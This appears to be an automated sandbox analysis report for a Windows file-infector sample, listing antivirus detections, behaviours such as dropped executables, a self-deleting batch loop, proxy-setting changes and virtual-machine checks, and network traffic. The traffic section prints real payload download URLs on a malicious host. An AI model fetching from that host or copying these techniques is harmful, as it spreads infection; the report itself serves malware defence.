SmartHawk

7.6

高危

60 个模型检测该样本为恶意！

重新分析

下载样本

dbdb81f5d803f7e31f5cf604c57a2b4ac6fda10f2bb02083eb163bb5a7334ece

c2c0072e8a3c07fb8f716660ec00926c.exe

分析耗时

56s

最近分析

文件大小

479.5KB

静态报毒动态报毒 A + W32 AI SCORE=81 BANLOAD CLASSIC CONFIDENCE CSTQAJ DARKSHELL DUMPMODULEINFECTIOUSNME FAMVT FILEINFECTOR HIGH CONFIDENCE INFECTED JADTRE KA@558NXG KUDJ LOADER M1R5 MALICIOUS PE MIKCER NIMNUL OTWYCAL PATCHLOAD PCARRIER RAMNIT ROUE SCORE SMALL STATIC AI TRIUSOR UNSAFE VJADTRE WALI WAPOMI 更多

未检测暂无鹰眼引擎检测结果

查杀引擎	查杀结果	查杀时间	查杀版本
McAfee	W32/Kudj	20201211	6.0.6.653
Alibaba	Virus:Win32/Nimnul.a51285b3	20190527	0.3.0.5
Avast	Other:Malware-gen [Trj]	20201210	21.1.5827.0
Baidu	Win32.Virus.Otwycal.d	20190318	1.0.0.2
Kingsoft		20201211	2017.9.26.565
Tencent	Virus.Win32.Loader.aab	20201211	1.0.0.1
CrowdStrike	win/malicious_confidence_90% (W)	20190702	1.0

Command line console output was observed (50 out of 2604 个事件)

Time & API	Arguments	Status	Return
1619871198.7825 WriteConsoleA	buffer: Usage: console_handle: 0x0000000b	success	1
1619871198.7825 WriteConsoleA	buffer: DRkill [-help] [-quiet] [-pid n] [-exe name] [-underdr] [-v] console_handle: 0x0000000b	success	1
1619871214.39175 WriteConsoleW	buffer: C:\Users\Administrator.Oskar-PC\AppData\Local\Temp> console_handle: 0x00000007	success	1
1619871214.39175 WriteConsoleW	buffer: del console_handle: 0x00000007	success	1
1619871214.39175 WriteConsoleW	buffer: "C:\Users\ADMINI~1.OSK\AppData\Local\Temp\QXLDHQ.exe" console_handle: 0x00000007	success	1
1619871214.40775 WriteConsoleW	buffer: C:\Users\ADMINI~1.OSK\AppData\Local\Temp\QXLDHQ.exe console_handle: 0x00000007	success	1
1619871214.42275 WriteConsoleW	buffer: 拒绝访问。 console_handle: 0x0000000b	success	1
1619871214.42275 WriteConsoleW	buffer: C:\Users\Administrator.Oskar-PC\AppData\Local\Temp> console_handle: 0x00000007	success	1
1619871214.42275 WriteConsoleW	buffer: if console_handle: 0x00000007	success	1
1619871214.42275 WriteConsoleW	buffer: exist "C:\Users\ADMINI~1.OSK\AppData\Local\Temp\QXLDHQ.exe" console_handle: 0x00000007	success	1
1619871214.42275 WriteConsoleW	buffer: goto console_handle: 0x00000007	success	1
1619871214.42275 WriteConsoleW	buffer: :DELFILE console_handle: 0x00000007	success	1
1619871214.42275 WriteConsoleW	buffer: C:\Users\Administrator.Oskar-PC\AppData\Local\Temp> console_handle: 0x00000007	success	1
1619871214.42275 WriteConsoleW	buffer: del console_handle: 0x00000007	success	1
1619871214.42275 WriteConsoleW	buffer: "C:\Users\ADMINI~1.OSK\AppData\Local\Temp\QXLDHQ.exe" console_handle: 0x00000007	success	1
1619871214.42275 WriteConsoleW	buffer: C:\Users\ADMINI~1.OSK\AppData\Local\Temp\QXLDHQ.exe console_handle: 0x00000007	success	1
1619871214.42275 WriteConsoleW	buffer: 拒绝访问。 console_handle: 0x0000000b	success	1
1619871214.43875 WriteConsoleW	buffer: C:\Users\Administrator.Oskar-PC\AppData\Local\Temp> console_handle: 0x00000007	success	1
1619871214.43875 WriteConsoleW	buffer: if console_handle: 0x00000007	success	1
1619871214.43875 WriteConsoleW	buffer: exist "C:\Users\ADMINI~1.OSK\AppData\Local\Temp\QXLDHQ.exe" console_handle: 0x00000007	success	1
1619871214.43875 WriteConsoleW	buffer: goto console_handle: 0x00000007	success	1
1619871214.43875 WriteConsoleW	buffer: :DELFILE console_handle: 0x00000007	success	1
1619871214.43875 WriteConsoleW	buffer: C:\Users\Administrator.Oskar-PC\AppData\Local\Temp> console_handle: 0x00000007	success	1
1619871214.43875 WriteConsoleW	buffer: del console_handle: 0x00000007	success	1
1619871214.43875 WriteConsoleW	buffer: "C:\Users\ADMINI~1.OSK\AppData\Local\Temp\QXLDHQ.exe" console_handle: 0x00000007	success	1
1619871214.43875 WriteConsoleW	buffer: C:\Users\ADMINI~1.OSK\AppData\Local\Temp\QXLDHQ.exe console_handle: 0x00000007	success	1
1619871214.43875 WriteConsoleW	buffer: 拒绝访问。 console_handle: 0x0000000b	success	1
1619871214.43875 WriteConsoleW	buffer: C:\Users\Administrator.Oskar-PC\AppData\Local\Temp> console_handle: 0x00000007	success	1
1619871214.43875 WriteConsoleW	buffer: if console_handle: 0x00000007	success	1
1619871214.43875 WriteConsoleW	buffer: exist "C:\Users\ADMINI~1.OSK\AppData\Local\Temp\QXLDHQ.exe" console_handle: 0x00000007	success	1
1619871214.43875 WriteConsoleW	buffer: goto console_handle: 0x00000007	success	1
1619871214.43875 WriteConsoleW	buffer: :DELFILE console_handle: 0x00000007	success	1
1619871214.43875 WriteConsoleW	buffer: C:\Users\Administrator.Oskar-PC\AppData\Local\Temp> console_handle: 0x00000007	success	1
1619871214.43875 WriteConsoleW	buffer: del console_handle: 0x00000007	success	1
1619871214.45475 WriteConsoleW	buffer: "C:\Users\ADMINI~1.OSK\AppData\Local\Temp\QXLDHQ.exe" console_handle: 0x00000007	success	1
1619871214.45475 WriteConsoleW	buffer: C:\Users\ADMINI~1.OSK\AppData\Local\Temp\QXLDHQ.exe console_handle: 0x00000007	success	1
1619871214.45475 WriteConsoleW	buffer: 拒绝访问。 console_handle: 0x0000000b	success	1
1619871214.45475 WriteConsoleW	buffer: C:\Users\Administrator.Oskar-PC\AppData\Local\Temp> console_handle: 0x00000007	success	1
1619871214.45475 WriteConsoleW	buffer: if console_handle: 0x00000007	success	1
1619871214.45475 WriteConsoleW	buffer: exist "C:\Users\ADMINI~1.OSK\AppData\Local\Temp\QXLDHQ.exe" console_handle: 0x00000007	success	1
1619871214.45475 WriteConsoleW	buffer: goto console_handle: 0x00000007	success	1
1619871214.45475 WriteConsoleW	buffer: :DELFILE console_handle: 0x00000007	success	1
1619871214.45475 WriteConsoleW	buffer: C:\Users\Administrator.Oskar-PC\AppData\Local\Temp> console_handle: 0x00000007	success	1
1619871214.45475 WriteConsoleW	buffer: del console_handle: 0x00000007	success	1
1619871214.45475 WriteConsoleW	buffer: "C:\Users\ADMINI~1.OSK\AppData\Local\Temp\QXLDHQ.exe" console_handle: 0x00000007	success	1
1619871214.46975 WriteConsoleW	buffer: C:\Users\ADMINI~1.OSK\AppData\Local\Temp\QXLDHQ.exe console_handle: 0x00000007	success	1
1619871214.46975 WriteConsoleW	buffer: 拒绝访问。 console_handle: 0x0000000b	success	1
1619871214.46975 WriteConsoleW	buffer: C:\Users\Administrator.Oskar-PC\AppData\Local\Temp> console_handle: 0x00000007	success	1
1619871214.46975 WriteConsoleW	buffer: if console_handle: 0x00000007	success	1
1619871214.46975 WriteConsoleW	buffer: exist "C:\Users\ADMINI~1.OSK\AppData\Local\Temp\QXLDHQ.exe" console_handle: 0x00000007	success	1

This executable has a PDB path (1 个事件)

pdb_path

D:\derek\dr\build_package\build_drmemory-release-32\dynamorio\bin32\DRkill.pdb

Tries to locate where the browsers are installed (1 个事件)

file	C:\Program Files\Google\Chrome\Application\chrome_proxy.exe

The executable contains unknown PE section names indicative of a packer (could be a false positive) (1 个事件)

section

P^E\xe0\xa3u}

Creates executable files on the filesystem (21 个事件)

file	C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\7E9C699E.exe
file	C:\Python27\Lib\distutils\command\wininst-6.0.exe
file	C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\70247872.exe
file	C:\Python27\Lib\site-packages\setuptools\cli-32.exe
file	C:\Python27\Lib\site-packages\pip\_vendor\distlib\w32.exe
file	C:\Python27\Lib\site-packages\setuptools\cli.exe
file	C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\20085B37.exe
file	C:\tmpsij43m\bin\inject-x86.exe
file	C:\tmpsij43m\bin\is32bit.exe
file	C:\Python27\Lib\site-packages\setuptools\gui-32.exe
file	C:\Python27\Lib\distutils\command\wininst-8.0.exe
file	C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\4AD57277.exe
file	C:\Python27\Lib\distutils\command\wininst-7.1.exe
file	C:\Python27\Lib\distutils\command\wininst-9.0.exe
file	C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\QXLDHQ.exe
file	C:\Python27\Lib\site-packages\setuptools\gui.exe
file	C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\038e1cf4.bat
file	C:\tmpsij43m\bin\execsc.exe
file	C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\52BC7205.exe
file	C:\Python27\Lib\site-packages\pip\_vendor\distlib\t32.exe
file	C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\0D145ACA.exe

Drops a binary and executes it (1 个事件)

file	C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\038e1cf4.bat

Drops an executable to the user AppData folder (1 个事件)

file	C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\QXLDHQ.exe

A process created a hidden window (1 个事件)

Time & API	Arguments	Status	Return	Repeated
1619871214.172625 ShellExecuteExW	parameters: filepath: C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\038e1cf4.bat filepath_r: C:\Users\ADMINI~1.OSK\AppData\Local\Temp\038e1cf4.bat show_type: 0	success	1	0

Checks adapter addresses which can be used to detect virtual network interfaces (1 个事件)

Time & API	Arguments	Status	Return	Repeated
1619871206.750625 GetAdaptersAddresses	flags: 0 family: 0	failed	111	0

The binary likely contains encrypted or compressed data indicative of a packer (1 个事件)

entropy

6.934521539991879

section

{'size_of_data': '0x00004200', 'virtual_address': '0x0007a000', 'entropy': 6.934521539991879, 'name': 'P^E\\xe0\\xa3u}', 'virtual_size': '0x00005000'}

description

A section with a high entropy has been found

Communicates with host for which no DNS query was performed (1 个事件)

host

172.217.24.14

Sets or modifies WPAD proxy autoconfiguration file for traffic interception (15 个事件)

Time & API	Arguments	Status
1619871209.407625 RegSetValueExA	key_handle: 0x000003b8 value: 1 regkey_r: WpadDecisionReason reg_type: 4 (REG_DWORD) regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadDecisionReason	success
1619871209.407625 RegSetValueExA	key_handle: 0x000003b8 value: ðîû>× regkey_r: WpadDecisionTime reg_type: 3 (REG_BINARY) regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadDecisionTime	success
1619871209.407625 RegSetValueExA	key_handle: 0x000003b8 value: 3 regkey_r: WpadDecision reg_type: 4 (REG_DWORD) regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadDecision	success
1619871209.407625 RegSetValueExW	key_handle: 0x000003b8 value: 网络 2 regkey_r: WpadNetworkName reg_type: 1 (REG_SZ) regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadNetworkName	success
1619871209.407625 RegSetValueExA	key_handle: 0x000003d0 value: 1 regkey_r: WpadDecisionReason reg_type: 4 (REG_DWORD) regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-00-27-00-00-00\WpadDecisionReason	success
1619871209.407625 RegSetValueExA	key_handle: 0x000003d0 value: ðîû>× regkey_r: WpadDecisionTime reg_type: 3 (REG_BINARY) regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-00-27-00-00-00\WpadDecisionTime	success
1619871209.407625 RegSetValueExA	key_handle: 0x000003d0 value: 3 regkey_r: WpadDecision reg_type: 4 (REG_DWORD) regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-00-27-00-00-00\WpadDecision	success
1619871209.407625 RegSetValueExW	key_handle: 0x000003c0 value: {40112ABE-63B3-43C3-BE93-1440EE3AF106} regkey_r: WpadLastNetwork reg_type: 1 (REG_SZ) regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\WpadLastNetwork	success
1619871210.063625 RegSetValueExA	key_handle: 0x000003e4 value: 1 regkey_r: WpadDecisionReason reg_type: 4 (REG_DWORD) regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadDecisionReason	success
1619871210.063625 RegSetValueExA	key_handle: 0x000003e4 value: ðUü>× regkey_r: WpadDecisionTime reg_type: 3 (REG_BINARY) regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadDecisionTime	success
1619871210.063625 RegSetValueExA	key_handle: 0x000003e4 value: 0 regkey_r: WpadDecision reg_type: 4 (REG_DWORD) regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadDecision	success
1619871210.063625 RegSetValueExW	key_handle: 0x000003e4 value: 网络 2 regkey_r: WpadNetworkName reg_type: 1 (REG_SZ) regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadNetworkName	success
1619871210.063625 RegSetValueExA	key_handle: 0x000003e8 value: 1 regkey_r: WpadDecisionReason reg_type: 4 (REG_DWORD) regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-00-27-00-00-00\WpadDecisionReason	success
1619871210.063625 RegSetValueExA	key_handle: 0x000003e8 value: ðUü>× regkey_r: WpadDecisionTime reg_type: 3 (REG_BINARY) regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-00-27-00-00-00\WpadDecisionTime	success
1619871210.063625 RegSetValueExA	key_handle: 0x000003e8 value: 0 regkey_r: WpadDecision reg_type: 4 (REG_DWORD) regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-00-27-00-00-00\WpadDecision	success

Detects VirtualBox through the presence of a file (5 个事件)

file	C:\Program Files\Oracle\VirtualBox Guest Additions\VBoxControl.exe
file	C:\Program Files\Oracle\VirtualBox Guest Additions\VBoxTray.exe
file	C:\Program Files\Oracle\VirtualBox Guest Additions\VBoxDrvInst.exe
file	C:\Program Files\Oracle\VirtualBox Guest Additions\VBoxWHQLFake.exe
file	C:\Program Files\Oracle\VirtualBox Guest Additions\uninst.exe

File has been identified by 60 AntiVirus engines on VirusTotal as malicious (50 out of 60 个事件)

Bkav	W32.FamVT.DumpModuleInfectiousNME.PE
Elastic	malicious (high confidence)
DrWeb	BackDoor.Darkshell.246
MicroWorld-eScan	Win32.VJadtre.3
FireEye	Generic.mg.c2c0072e8a3c07fb
McAfee	W32/Kudj
Cylance	Unsafe
VIPRE	Virus.Win32.Small.acea (v)
K7AntiVirus	Virus ( 0040f7441 )
Alibaba	Virus:Win32/Nimnul.a51285b3
K7GW	Virus ( 0040f7441 )
Cybereason	malicious.e8a3c0
Arcabit	Win32.VJadtre.3
BitDefenderTheta	AI:FileInfector.991137D00F
Cyren	W32/PatchLoad.E
Symantec	W32.Wapomi.C!inf
TotalDefense	Win32/Nimnul.A
APEX	Malicious
Avast	Other:Malware-gen [Trj]
ClamAV	Win.Malware.Triusor-6793891-0
Kaspersky	Virus.Win32.Nimnul.f
BitDefender	Win32.VJadtre.3
NANO-Antivirus	Trojan.Win32.Banload.cstqaj
Paloalto	generic.ml
AegisLab	Virus.Win32.Nimnul.m1R5
Rising	Virus.Roue!1.9E10 (CLASSIC)
Ad-Aware	Win32.VJadtre.3
Emsisoft	Win32.VJadtre.3 (B)
Comodo	Virus.Win32.Wali.KA@558nxg
F-Secure	Malware.W32/Jadtre.B
Baidu	Win32.Virus.Otwycal.d
Zillya	Virus.Nimnul.Win32.5
TrendMicro	PE_WAPOMI.BM
McAfee-GW-Edition	BehavesLike.Win32.Infected.gm
Sophos	ML/PE-A + W32/Nimnul-A
Ikarus	Trojan-Downloader.Win32.Small
Jiangmin	Win32/Nimnul.f
Avira	W32/Jadtre.B
MAX	malware (ai score=81)
Antiy-AVL	Virus/Win32.Nimnul.f
Gridinsoft	Trojan.Heur!.03002201
Microsoft	Virus:Win32/Mikcer.B
ViRobot	Win32.Ramnit.F
ZoneAlarm	Virus.Win32.Nimnul.f
GData	Win32.Virus.Wapomi.A
Cynet	Malicious (score: 100)
AhnLab-V3	Win32/VJadtre.Gen
VBA32	Virus.Nimnul.19209
TACHYON	Virus/W32.Ramnit.C
Zoner	Virus.Win32.23755

Connects to IP addresses that are no longer responding to requests (legitimate services will remain up-and-running usually) (2 个事件)

dead_host	172.217.160.110:443
dead_host	172.217.24.14:443

暂无二进制图像该样本未生成二进制可视化图像

暂无运行截图该样本运行过程中未生成截图

👋 欢迎使用 ChatHawk

我是您的恶意软件分析助手，可以帮您分析和解读恶意软件报告。请随时向我提问！

🔍 主要威胁分析

⚡ 行为特征

🛡️ 防护建议

🔧 技术手段

🎯 检测方法

🤖

Static Analysis
Strings

PE Compile Time

2016-08-29 15:12:06

Imports

Library ADVAPI32.dll:

• 0x473348 AdjustTokenPrivileges

• 0x47334c LookupPrivilegeValueW

• 0x473350 OpenProcessToken

• 0x473354 OpenThreadToken

• 0x473358 InitiateSystemShutdownW

• 0x47335c SetNamedSecurityInfoW

• 0x473360 GetNamedSecurityInfoW

• 0x473364 RegDeleteKeyW

• 0x473368 RegCloseKey

• 0x47336c RegCreateKeyExW

• 0x473370 FreeSid

• 0x473374 SetEntriesInAclW

• 0x473378 AllocateAndInitializeSid

• 0x47337c LookupAccountNameW

• 0x473380 AddAccessAllowedAce

• 0x473384 InitializeAcl

• 0x473388 GetLengthSid

• 0x47338c RegSetKeySecurity

• 0x473390 IsValidSecurityDescriptor

• 0x473394 SetSecurityDescriptorDacl

• 0x473398 SetSecurityDescriptorOwner

• 0x47339c InitializeSecurityDescriptor

• 0x4733a0 RegOpenKeyExW

• 0x4733a4 GetSecurityInfo

• 0x4733a8 RegEnumKeyExW

• 0x4733ac RegEnumValueW

• 0x4733b0 RegDeleteValueW

• 0x4733b4 RegQueryValueExW

• 0x4733b8 RegSetValueExW

• 0x4733bc RegOpenKeyW

• 0x4733c0 CloseEventLog

• 0x4733c4 ReadEventLogW

• 0x4733c8 GetOldestEventLogRecord

• 0x4733cc GetNumberOfEventLogRecords

• 0x4733d0 NotifyChangeEventLog

• 0x4733d4 OpenEventLogW

• 0x4733d8 ClearEventLogW

Library KERNEL32.dll:

• 0x473424 GetLastError

• 0x473428 ReadProcessMemory

• 0x47342c CloseHandle

• 0x473430 OpenProcess

• 0x473434 GetProcAddress

• 0x473438 GetModuleHandleW

• 0x47343c TerminateProcess

• 0x473440 SleepEx

• 0x473444 GetCurrentProcess

• 0x473448 GetCurrentThread

• 0x47344c FindClose

• 0x473450 FindFirstFileW

• 0x473454 MoveFileExW

• 0x473458 MoveFileW

• 0x47345c DeleteFileW

• 0x473460 LocalFree

• 0x473464 GetShortPathNameW

• 0x473468 GetSystemDirectoryW

• 0x47346c CreateDirectoryW

• 0x473470 RemoveDirectoryW

• 0x473474 FindNextFileW

• 0x473478 LocalAlloc

• 0x47347c GetExitCodeProcess

• 0x473480 WaitForSingleObject

• 0x473484 CreateProcessW

• 0x473488 CopyFileW

• 0x47348c ResumeThread

• 0x473490 GetThreadContext

• 0x473494 CreateThread

• 0x473498 VirtualFreeEx

• 0x47349c WriteProcessMemory

• 0x4734a0 VirtualProtectEx

• 0x4734a4 VirtualAllocEx

• 0x4734a8 CreateRemoteThread

• 0x4734ac CreateFileW

• 0x4734b0 ExpandEnvironmentStringsW

• 0x4734b4 FormatMessageW

• 0x4734b8 LoadLibraryExW

• 0x4734bc CreateEventW

• 0x4734c0 GetCurrentProcessId

• 0x4734c4 HeapFree

• 0x4734c8 HeapAlloc

• 0x4734cc GetProcessHeap

• 0x4734d0 ExitProcess

• 0x4734d4 DecodePointer

• 0x4734d8 EnterCriticalSection

• 0x4734dc LeaveCriticalSection

• 0x4734e0 GetCommandLineA

• 0x4734e4 HeapSetInformation

• 0x4734e8 MultiByteToWideChar

• 0x4734ec ReadFile

• 0x4734f0 GetFileType

• 0x4734f4 GetStringTypeW

• 0x4734f8 InitializeCriticalSectionAndSpinCount

• 0x4734fc DeleteCriticalSection

• 0x473500 FatalAppExitA

• 0x473504 EncodePointer

• 0x473508 SetConsoleCtrlHandler

• 0x47350c FreeLibrary

• 0x473510 InterlockedExchange

• 0x473514 LoadLibraryW

• 0x473518 GetLocaleInfoW

• 0x47351c UnhandledExceptionFilter

• 0x473520 SetUnhandledExceptionFilter

• 0x473524 IsDebuggerPresent

• 0x473528 TlsAlloc

• 0x47352c TlsGetValue

• 0x473530 TlsSetValue

• 0x473534 TlsFree

• 0x473538 InterlockedIncrement

• 0x47353c SetLastError

• 0x473540 GetCurrentThreadId

• 0x473544 InterlockedDecrement

• 0x473548 WriteFile

• 0x47354c GetStdHandle

• 0x473550 GetModuleFileNameW

• 0x473554 SetHandleCount

• 0x473558 GetStartupInfoW

• 0x47355c Sleep

• 0x473560 GetModuleFileNameA

• 0x473564 FreeEnvironmentStringsW

• 0x473568 WideCharToMultiByte

• 0x47356c GetEnvironmentStringsW

• 0x473570 HeapCreate

• 0x473574 HeapDestroy

• 0x473578 QueryPerformanceCounter

• 0x47357c GetTickCount

• 0x473580 GetSystemTimeAsFileTime

• 0x473584 IsProcessorFeaturePresent

• 0x473588 GetCPInfo

• 0x47358c GetACP

• 0x473590 GetOEMCP

• 0x473594 IsValidCodePage

• 0x473598 LCMapStringW

• 0x47359c GetConsoleCP

• 0x4735a0 GetConsoleMode

• 0x4735a4 RtlUnwind

• 0x4735a8 SetStdHandle

• 0x4735ac SetFilePointer

• 0x4735b0 SetEndOfFile

• 0x4735b4 HeapSize

• 0x4735b8 HeapReAlloc

• 0x4735bc FlushFileBuffers

• 0x4735c0 WriteConsoleW

• 0x4735c4 GetUserDefaultLCID

• 0x4735c8 GetLocaleInfoA

• 0x4735cc EnumSystemLocalesA

• 0x4735d0 IsValidLocale

Hosts

No hosts contacted.

DNS

Name	Response	Post-Analysis Lookup
ddos.dnsnb8.net	A 63.251.106.25	63.251.106.25
dns.msftncsi.com	A 131.107.255.255	131.107.255.255
time.windows.com	A 20.189.79.72 CNAME time.microsoft.akadns.net
clients2.google.com	A 172.217.160.110 CNAME clients.l.google.com	172.217.160.78
dns.msftncsi.com	AAAA fd3e:4f5a:5b81::1	131.107.255.255
teredo.ipv6.microsoft.com		127.0.0.1

TCP

Source	Source Port	Destination	Destination Port
192.168.56.101	49179	63.251.106.25 ddos.dnsnb8.net	799
192.168.56.101	49180	63.251.106.25 ddos.dnsnb8.net	799
192.168.56.101	49181	63.251.106.25 ddos.dnsnb8.net	799
192.168.56.101	49182	63.251.106.25 ddos.dnsnb8.net	799
192.168.56.101	49183	63.251.106.25 ddos.dnsnb8.net	799
192.168.56.101	49184	63.251.106.25 ddos.dnsnb8.net	799
192.168.56.101	49185	63.251.106.25 ddos.dnsnb8.net	799
192.168.56.101	49186	63.251.106.25 ddos.dnsnb8.net	799
192.168.56.101	49189	63.251.106.25 ddos.dnsnb8.net	799
192.168.56.101	49190	63.251.106.25 ddos.dnsnb8.net	799

UDP

Source	Source Port	Destination	Destination Port
192.168.56.101	49235	114.114.114.114	53
192.168.56.101	53210	114.114.114.114	53
192.168.56.101	53657	114.114.114.114	53
192.168.56.101	55368	114.114.114.114	53
192.168.56.101	56539	114.114.114.114	53
192.168.56.101	63429	114.114.114.114	53
192.168.56.101	137	192.168.56.255	137
192.168.56.101	138	192.168.56.255	138
192.168.56.101	123	20.189.79.72 time.windows.com	123
192.168.56.101	50002	224.0.0.252	5355
192.168.56.101	50534	224.0.0.252	5355
192.168.56.101	51808	224.0.0.252	5355
192.168.56.101	51963	224.0.0.252	5355
192.168.56.101	53380	224.0.0.252	5355
192.168.56.101	56804	224.0.0.252	5355
192.168.56.101	57756	224.0.0.252	5355
192.168.56.101	57874	224.0.0.252	5355
192.168.56.101	60384	224.0.0.252	5355
192.168.56.101	61680	224.0.0.252	5355
192.168.56.101	62191	224.0.0.252	5355

HTTP & HTTPS Requests

URI	Data
http://ddos.dnsnb8.net:799/cj//k1.rar	GET /cj//k1.rar HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: ddos.dnsnb8.net:799 Connection: Keep-Alive
http://ddos.dnsnb8.net:799/cj//k3.rar	GET /cj//k3.rar HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: ddos.dnsnb8.net:799 Connection: Keep-Alive
http://ddos.dnsnb8.net:799/cj//k2.rar	GET /cj//k2.rar HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: ddos.dnsnb8.net:799 Connection: Keep-Alive
http://ddos.dnsnb8.net:799/cj//k5.rar	GET /cj//k5.rar HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: ddos.dnsnb8.net:799 Connection: Keep-Alive
http://ddos.dnsnb8.net:799/cj//k4.rar	GET /cj//k4.rar HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: ddos.dnsnb8.net:799 Connection: Keep-Alive

ICMP traffic

No ICMP traffic performed.

IRC traffic

No IRC requests performed.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Snort Alerts

No Snort Alerts

Sorry! No dropped files.

Sorry! No dropped buffers.